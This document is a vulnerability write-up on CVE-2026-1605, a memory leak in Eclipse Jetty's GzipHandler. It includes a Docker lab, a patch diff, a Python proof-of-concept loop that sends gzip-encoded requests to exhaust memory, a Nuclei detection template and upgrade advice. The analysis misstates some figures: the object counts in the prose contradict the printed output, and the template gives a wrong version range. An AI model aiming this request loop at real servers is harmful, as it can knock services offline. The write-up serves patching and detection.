CVE-2026-1605

Understanding the Memory Leak in Eclipse Jetty Web Server (CVE-2026-1605)

Introduction

Eclipse Jetty is one of the most widely used Java web servers and servlet containers, commonly deployed to run web applications, APIs, and backend services in Java based environments. 4 days ago, a vulnerability identified as CVE-2026-1605 revealed a memory leak issue that can cause the server’s memory usage to continuously grow when handling certain requests, potentially leading to Denial of Service (DoS) if the server eventually runs out of memory.

According to Shodan result, there are around 1 million servers using Jetty as their web server, highlighting how widely deployed Jetty is across the internet.

image

Setup Environment

We setup a simple Eclipse Jetty server using Docker as follows:

Dockerfile

ARG JETTY_VERSION=12.1.5
FROM maven:3.9.12-eclipse-temurin-21 AS build

WORKDIR /app
COPY pom.xml .
COPY src ./src

ARG JETTY_VERSION
RUN mvn -q -DskipTests package -Djetty.version=${JETTY_VERSION}

FROM eclipse-temurin:21-jdk
WORKDIR /app
COPY --from=build /app/target/gzip-lab.jar /app/gzip-lab.jar
EXPOSE 8080
ENTRYPOINT ["java", "-XX:NativeMemoryTracking=summary", "-jar", "/app/gzip-lab.jar"]

docker-compose.yml

services:
  jetty1215:
    build:
      context: .
      args:
        JETTY_VERSION: 12.1.5
    container_name: jetty1215
    ports:
      - "8085:8080"

  jetty1216:
    build:
      context: .
      args:
        JETTY_VERSION: 12.1.6
    container_name: jetty1216
    ports:
      - "8086:8080"

LabServer.java

import java.io.InputStream;
import java.nio.ByteBuffer;
import java.nio.charset.StandardCharsets;

import org.eclipse.jetty.server.Handler;
import org.eclipse.jetty.server.Request;
import org.eclipse.jetty.server.Response;
import org.eclipse.jetty.server.Server;
import org.eclipse.jetty.server.handler.gzip.GzipHandler;
import org.eclipse.jetty.util.Callback;

public class LabServer {
    public static void main(String[] args) throws Exception {
        Server server = new Server(8080);

        Handler app = new Handler.Abstract() {
            @Override
            public boolean handle(Request request, Response response, Callback callback) throws Exception {
                if (!"/ingest".equals(request.getHttpURI().getPath())) {
                    response.setStatus(404);
                    response.write(
                        true,
                        ByteBuffer.wrap("not found\n".getBytes(StandardCharsets.UTF_8)),
                        callback
                    );
                    return true;
                }

                if (!"POST".equalsIgnoreCase(request.getMethod())) {
                    response.setStatus(405);
                    response.write(
                        true,
                        ByteBuffer.wrap("method not allowed\n".getBytes(StandardCharsets.UTF_8)),
                        callback
                    );
                    return true;
                }

                long total = 0;
                byte[] buf = new byte[8192];

                try (InputStream in = Request.asInputStream(request)) {
                    int n;
                    while ((n = in.read(buf)) >= 0) {
                        total += n;
                    }
                }

                final long readTotal = total;

                new Thread(() -> {
                    try {
                        Thread.sleep(50);
                        response.setStatus(200);
                        response.getHeaders().put("Content-Type", "text/plain; charset=utf-8");
                        response.write(
                            true,
                            ByteBuffer.wrap(("read=" + readTotal + "\n").getBytes(StandardCharsets.UTF_8)),
                            callback
                        );
                    } catch (Throwable t) {
                        callback.failed(t);
                    }
                }).start();

                return true;
            }
        };

        GzipHandler gzip = new GzipHandler();
        gzip.setInflateBufferSize(8192);
        gzip.setIncludedMethods("GET");
        gzip.setHandler(app);

        server.setHandler(gzip);
        server.start();
        server.join();
    }
}

LabServer.java provides a controlled endpoint that reliably trigger the vulnerable Jetty GzipHandler code path. The /ingest endpoint consumes the entire request body, which forces request decompression when gzip encoded input is supplied. The call to gzip.setInflateBufferSize(8192) explicitly enables request body inflation.

Technical Overview

As explained in the GitHub Advisory page, this vulnerability is caused by incomplete Inflater object cleanup in GzipHandler function. By passing the Content-Encoding: gzip header and not passing Accept-Encoding: gzip header, we trigger the vulnerable code path.

For context, the header handler does not change between the vulnerable and patched version, but will be useful to us for further analysis: image

for (ListIterator<HttpField> i = fields.listIterator(fields.size()); i.hasPrevious();)
{
    HttpField field = i.previous();
    HttpHeader header = field.getHeader();
    if (header == null)
        continue;
    switch (header)
    {
        case CONTENT_ENCODING ->
        {
            inflatable |= !seenContentEncoding && field.containsLast("gzip");
            seenContentEncoding = true;
        }
        case ACCEPT_ENCODING -> deflatable = field.contains("gzip");
        case IF_MATCH, IF_NONE_MATCH -> etagMatches |= field.getValue().contains(EtagUtils.ETAG_SEPARATOR);
    }
}

We do a patch diffing on the unpatched and patched version, in this case, we are using Eclipse Jetty version 12.1.5 and 12.1.6: image

--- jetty.project-jetty-12.1.5/jetty-core/jetty-server/src/main/java/org/eclipse/jetty/server/handler/gzip/GzipHandler.java     2026-03-07 23:05:22.938033688 +0700
+++ jetty.project-jetty-12.1.6/jetty-core/jetty-server/src/main/java/org/eclipse/jetty/server/handler/gzip/GzipHandler.java     2026-03-07 23:05:26.954033540 +0700
@@ -598,7 +598,9 @@
         if (inflatable && tryInflate || etagMatches)
         {
             // Wrap the request to update the fields and do any inflation
-            request = new GzipRequest(request, inflatable && tryInflate ? getInflateBufferSize() : -1);
+            GzipRequest gzipRequest = new GzipRequest(request, _inflaterPool, inflatable && tryInflate ? getInflateBufferSize() : -1);
+            request = gzipRequest;
+            callback = Callback.from(callback, gzipRequest::destroy);
         }
 
         if (tryDeflate && _vary != null)
@@ -619,9 +621,10 @@
         if (next.handle(request, response, callback))
             return true;
 
-        // If the request was not accepted, destroy any gzipRequest wrapper
+        // If the request was not handled, destroy GzipRequest.
         if (request instanceof GzipRequest gzipRequest)
             gzipRequest.destroy();
+
         return false;
     }

This code creates two independent flags from request headers: inflatable (from Content-Encoding header) and deflatable (from Accept-Encoding header). If inflatable is true, Jetty wraps the request in GzipRequest and allocates inflater resources.

However, in the vulnerable version, callback based cleanup is only attached when deflatable && tryDeflate is set to true (response compression path). Therefore, a request with Content-Encoding: gzip but without Accept-Encoding: gzip can enter a successful handled path (next.handle(...) == true) and return before gzipRequest.destroy() is guaranteed, causing inflater resource leakage.

image

Therefore, in the patched version, GzipRequest.destroy() is guaranteed at request completion, preventing inflater resource leakage. image

Proof of Concept

First, we deploy our vulnerable application using the docker compose provided. Then we inspect the Inflater objects using a helper script:

check.sh

# check unpathced
docker exec jetty1215 jcmd 1 GC.class_histogram -all | egrep 'Inflator|Inflater|InflaterPool'

echo "==============================="
# check patched
docker exec jetty1216 jcmd 1 GC.class_histogram -all | egrep 'Inflator|Inflater|InflaterPool'

Running it shows the following:

└─$ bash check.sh
Unpatched version stats:
num     #instances         #bytes  class name (module)
 141:            16            768  java.util.zip.ZipFile$ZipFileInflaterInputStream ([email protected])
 192:            16            384  java.util.zip.ZipFile$InflaterCleanupAction ([email protected])
 309:             2            128  java.util.zip.Inflater ([email protected])
 506:             2             48  java.util.zip.Inflater$InflaterZStreamRef ([email protected])
 518:             1             48  org.eclipse.jetty.util.compression.InflaterPool
=========================================================================================================
num     #instances         #bytes  class name (module)
Patched version stats:
 148:            16            768  java.util.zip.ZipFile$ZipFileInflaterInputStream ([email protected])
 201:            16            384  java.util.zip.ZipFile$InflaterCleanupAction ([email protected])
 317:             2            128  java.util.zip.Inflater ([email protected])
 510:             2             48  java.util.zip.Inflater$InflaterZStreamRef ([email protected])
 522:             1             48  org.eclipse.jetty.util.compression.InflaterPool

Then we will try to do multiple POST request to the /ingest endpoint, using automation:

import gzip
import httpx

UNPATCHED_URL = "http://localhost:8085/ingest"
PATCHED_URL = "http://localhost:8086/ingest"
TOTAL_REQ = 1000

def main():
    body = gzip.compress(b"mirai" * 10000)
    headers = {
        "Content-Encoding": "gzip",
        "Accept-Encoding": "haihaihai",
    }

    with httpx.Client() as client:
        for i in range(TOTAL_REQ):
            client.post(UNPATCHED_URL, content=body, headers=headers)
            client.post(PATCHED_URL, content=body, headers=headers)
            if (i + 1) % 100 == 0 or i + 1 == TOTAL_REQ:
                print(f"progress: {i + 1}/{TOTAL_REQ}")

if __name__ == "__main__":
    main()

And here are the output of the proof of concept:

└─$ python3 poc.py
progress: 100/1000
progress: 200/1000
progress: 300/1000
progress: 400/1000
progress: 500/1000
progress: 600/1000
progress: 700/1000
progress: 800/1000
progress: 900/1000
progress: 1000/1000

└─$ bash check.sh
Unpatched version stats:
num     #instances         #bytes  class name (module)
-  46:           570          13680  java.util.zip.Inflater$InflaterZStreamRef ([email protected])
-  52:           176          11264  java.util.zip.Inflater ([email protected])
 416:             2             96  org.eclipse.jetty.util.compression.InflaterPool
 545:             1             48  java.util.zip.ZipFile$ZipFileInflaterInputStream ([email protected])
 729:             1             24  java.util.zip.ZipFile$InflaterCleanupAction ([email protected])
=========================================================================================================
num     #instances         #bytes  class name (module)
Patched version stats:
+ 303:             3            192  java.util.zip.Inflater ([email protected])
+ 461:             3             72  java.util.zip.Inflater$InflaterZStreamRef ([email protected])
 546:             1             48  java.util.zip.ZipFile$ZipFileInflaterInputStream ([email protected])
 559:             1             48  org.eclipse.jetty.util.compression.InflaterPool
 731:             1             24  java.util.zip.ZipFile$InflaterCleanupAction ([email protected])

As we can see, after sending 1000 gzip encoded requests, the unpatched version instance count of java.util.zip.Inflater and java.util.zip.Inflater$InflaterZStreamRef increases sharply (16 -> 570 for java.util.zip.Inflater and 16 -> 176 for java.util.zip.Inflater$InflaterZStreamRef), while in the patched version, both of the object instance count remains stable.

This indicates that Inflater resources are not released reliably in the vulnerable path, while cleanup is effective in the patched version.

Detection

For this CVE, we created a Nuclei template to detect the vulnerability using a detection version

id: CVE-2026-1605

info:
  name: Jetty - GzipHandler Memory Leak
  author: daffainfo,miraicantsleep
  severity: high
  description: |
    In Eclipse Jetty, versions 12.0.0-12.0.31 and 12.1.0-12.0.5, class GzipHandler exposes a vulnerability when a compressed HTTP request, with Content-Encoding: gzip, is processed and the corresponding response is not compressed. This happens because the JDK Inflater is allocated for decompressing the request, but it is not released because the release mechanism is tied to the compressed response. In this case, since the response is not compressed, the release mechanism does not trigger, causing the leak.
  reference:
    - https://github.com/jetty/jetty.project/security/advisories/GHSA-xxh7-fcf3-rj7f
  tags: cve,cve2026,jetty,passive

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers-condition: and
    matchers:
      - type: word
        part: server
        words:
          - "Jetty"

      - type: dsl
        dsl:
          - compare_versions(version, '< 12.0.32', '>= 12.0.0')
          - compare_versions(version, '< 12.1.6', '>= 12.1.0')
        condition: or

    extractors:
      - type: regex
        name: version
        part: header
        group: 1
        regex:
          - 'Server:\s+Jetty\(([0-9.]+)\)'

The template sends a GET request to the target and checks the Server header to see if it is running Eclipse Jetty. It then extracts the Jetty version and compares it with the vulnerable version ranges for CVE-2026-1605. If the version matches those ranges, the target is flagged as potentially vulnerable. However, this only applies if the application actually uses GzipHandler, since the issue occurs only when that component is enabled.

You can check the template in our repositories:

https://github.com/Heroes-Cyber-Security/research

Remediation

  • Developer should upgrade Eclipse Jetty to a patched version released by the maintainers, which is version 12.1.6 or 12.0.32